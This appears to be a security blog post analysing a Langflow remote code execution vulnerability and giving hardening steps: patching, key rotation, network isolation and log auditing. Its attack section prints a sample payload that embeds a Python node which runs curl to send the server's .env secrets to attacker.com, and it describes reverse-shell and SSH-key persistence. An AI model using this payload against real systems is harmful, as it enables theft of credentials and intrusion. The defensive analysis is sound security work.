[Deep Dive] CVE-2026-33017: How Langflow's RCE Actually Works

What Is Langflow and Why Does This Matter

Langflow is an open-source visual builder for LangChain-based AI pipelines — drag-and-drop nodes for prompts, vector stores, agents, and API calls. It's popular in enterprise AI teams for rapidly prototyping and deploying RAG systems, chatbots, and multi-agent workflows. Thousands of production deployments expose a Langflow instance internally or publicly.

That popularity makes CVE-2026-33017 particularly dangerous. This isn't a theoretical flaw — it was actively exploited in the wild within 20 hours of public disclosure, according to Sysdig's incident response team. Any unpatched Langflow instance reachable over a network is a live target.

🚨 Scope of Impact

Any Langflow version below 1.9.0 with the public flow API enabled is vulnerable. This includes both self-hosted and cloud-deployed instances. CISA added it to the KEV catalog on March 25, 2026.

The Vulnerable Endpoint — Anatomy of the Bug

Langflow exposes a REST API for building and running flows. The vulnerability lives in the public flow build endpoint:

                    HTTP Request
POST /api/v1/build_public_tmp/{flow_id}/flow HTTP/1.1
Host: <langflow-instance>
Content-Type: application/json

{
  "inputs": {
    "text": "<attacker-controlled payload>"
  }
}
                

The critical design flaw: this endpoint is explicitly intended for public flows and therefore requires no authentication. The flow_id parameter only needs to be a valid UUID format — it doesn't need to correspond to a real flow in early versions of the check.

Why Does This Execute Arbitrary Code?

Langflow uses LangChain component chains that can include Python function nodes. When a flow is "built," Langflow evaluates the component graph — including any PythonFunctionComponent nodes. The attacker's payload crafts a flow definition inline that contains a malicious Python function component, which is then immediately executed server-side during the build step.

                    Simplified Attack Payload
# Attacker sends a flow definition containing a Python node:
{
  "data": {
    "nodes": [{
      "type": "PythonFunctionComponent",
      "data": {
        "code": "import os; os.system('curl attacker.com/exfil?k=$(cat .env)')"
      }
    }]
  }
}
                

The server executes this code in the context of the Langflow process — which typically has access to all environment variables, the filesystem, and any API keys stored in the .env file or loaded via python-dotenv.

What Attackers Actually Did — The 20-Hour Window

Sysdig's threat research team observed active exploitation starting approximately 20 hours after the CVE was published. The attack pattern was consistent across incidents:

Reconnaissance: Automated scanners probed for Langflow instances on ports 7860 (default) and 443, fingerprinting via the /api/v1/version endpoint.
Credential exfiltration: Initial payload dumped .env contents — OpenAI API keys, Anthropic keys, database URIs, and AWS credentials — via outbound HTTP to attacker-controlled servers.
Persistence: Secondary payloads dropped a reverse shell or added an SSH key to ~/.ssh/authorized_keys.
Lateral movement: With database credentials in hand, attackers pivoted to connected vector stores (Pinecone, Weaviate, pgvector) and extracted embedded document data.

Real Cost of This Breach

Compromised OpenAI keys were immediately used to generate content at scale (API abuse). One victim reported ~$40,000 in unauthorized API charges within 6 hours of exploitation before the key was revoked.

Hardening Your AI Pipeline — 5 Steps

Step 1 — Patch to Langflow 1.9.0 Right Now

This is non-negotiable. Langflow 1.9.0 adds authentication middleware to the public flow build endpoint and validates that the flow definition cannot contain arbitrary component code at build time.

                    bash
# If using pip
pip install --upgrade langflow==1.9.0

# Verify
langflow --version
# Should output: langflow 1.9.0

# If using Docker
docker pull langflowai/langflow:1.9.0
docker stop langflow && docker rm langflow
docker run -d --name langflow -p 7860:7860 langflowai/langflow:1.9.0
                

Step 2 — Rotate All API Keys Immediately

If your Langflow instance was exposed (even briefly), assume every key in its environment is compromised. Rotation order matters — start with the highest-blast-radius credentials.

                    Priority rotation order
AWS credentials (IAM access keys)
Database connection strings (Postgres, MySQL, MongoDB)
LLM provider API keys (OpenAI, Anthropic, Cohere, Gemini)
Vector store API keys (Pinecone, Weaviate, Qdrant)
OAuth tokens and webhook secrets
                

Step 3 — Disable Public Flow Endpoints If Not Needed

Langflow's public flow API exists for embedding flows in external apps without user login. Most internal deployments don't need it. Disable it explicitly:

                    .env
# Disable public flow access entirely
LANGFLOW_PUBLIC_FLOWS_ENABLED=false

# Also enforce authentication on all routes
LANGFLOW_AUTO_LOGIN=false
LANGFLOW_SUPERUSER=admin
LANGFLOW_SUPERUSER_PASSWORD=<strong-random-password>
                

Step 4 — Network Isolation: Langflow Should Never Be Public

Langflow is a development and orchestration tool — it should never be directly internet-accessible. Put it behind a VPN or an internal load balancer with IP allowlisting:

                    AWS Security Group (Terraform)
resource "aws_security_group_rule" "langflow_internal_only" {
  type        = "ingress"
  from_port   = 7860
  to_port     = 7860
  protocol    = "tcp"
  # Only allow your VPC CIDR — never 0.0.0.0/0
  cidr_blocks = ["10.0.0.0/8"]
  security_group_id = aws_security_group.langflow.id
}
                

Step 5 — Audit Logs for Exploitation Indicators

Check your access logs for any POST requests to the vulnerable endpoint. Any hit — even failed ones — indicates active scanning:

                    bash — nginx/access.log
# Grep for exploitation attempts
grep '"POST /api/v1/build_public_tmp/' /var/log/nginx/access.log

# Check for outbound connections from Langflow process (Linux)
ss -tp | grep langflow

# Review env variable access in recent Python processes
ausearch -m execve -ts recent | grep -E 'curl|wget|python'
                

Architectural Lessons for AI Pipeline Security

This CVE is a symptom of a broader pattern: AI pipeline tools are built for developer productivity first and security second. As these tools move from prototype to production, the attack surface expands significantly. Here's what the Langflow incident teaches us:

Never expose orchestration tools directly to the internet. LangChain, LlamaIndex, Langflow, Flowise — all of these are build-time tools. Wrap them behind authenticated APIs or keep them VPN-only.
Treat AI pipeline credentials as top-tier secrets. An OpenAI key in a compromised .env can drain thousands of dollars in minutes. Use AWS Secrets Manager, HashiCorp Vault, or GCP Secret Manager — not .env files on disk.
Sandbox code execution. Any system that executes dynamic code (Python, JavaScript eval, template engines) needs to run in an isolated process or container with no network access and read-only filesystem. Consider AWS Lambda or gVisor for sandboxing LLM-generated code execution.
Monitor for anomalous outbound traffic. The exfiltration in this CVE used plain HTTP GET requests to attacker servers. A simple egress rule blocking unexpected outbound destinations would have contained the blast radius.

Production Pattern: Secrets in AWS Secrets Manager

                        Python
import boto3, json

def get_secret(secret_name: str) -> dict:
    client = boto3.client("secretsmanager", region_name="us-east-1")
    response = client.get_secret_value(SecretId=secret_name)
    return json.loads(response["SecretString"])

# Usage — never hardcode keys in .env for production
secrets = get_secret("langflow/prod/api-keys")
openai_key = secrets["OPENAI_API_KEY"]
                    

Timeline & References

Date	Event
Mar 24, 2026	CVE-2026-33017 privately reported to Langflow maintainers
Mar 25, 2026	Public disclosure + CISA adds to KEV catalog (April 8 patch deadline for federal agencies)
Mar 25, 2026 +20hrs	Active exploitation confirmed by Sysdig — credential exfiltration in the wild
Mar 26, 2026	Langflow 1.9.0 released with authentication fix on public build endpoint
Apr 8, 2026	CISA KEV mandatory patch deadline (federal agencies)

CVE-2026-33017: How Langflow's Critical RCE Actually Works — and How to Harden Your AI Pipeline

Key Takeaways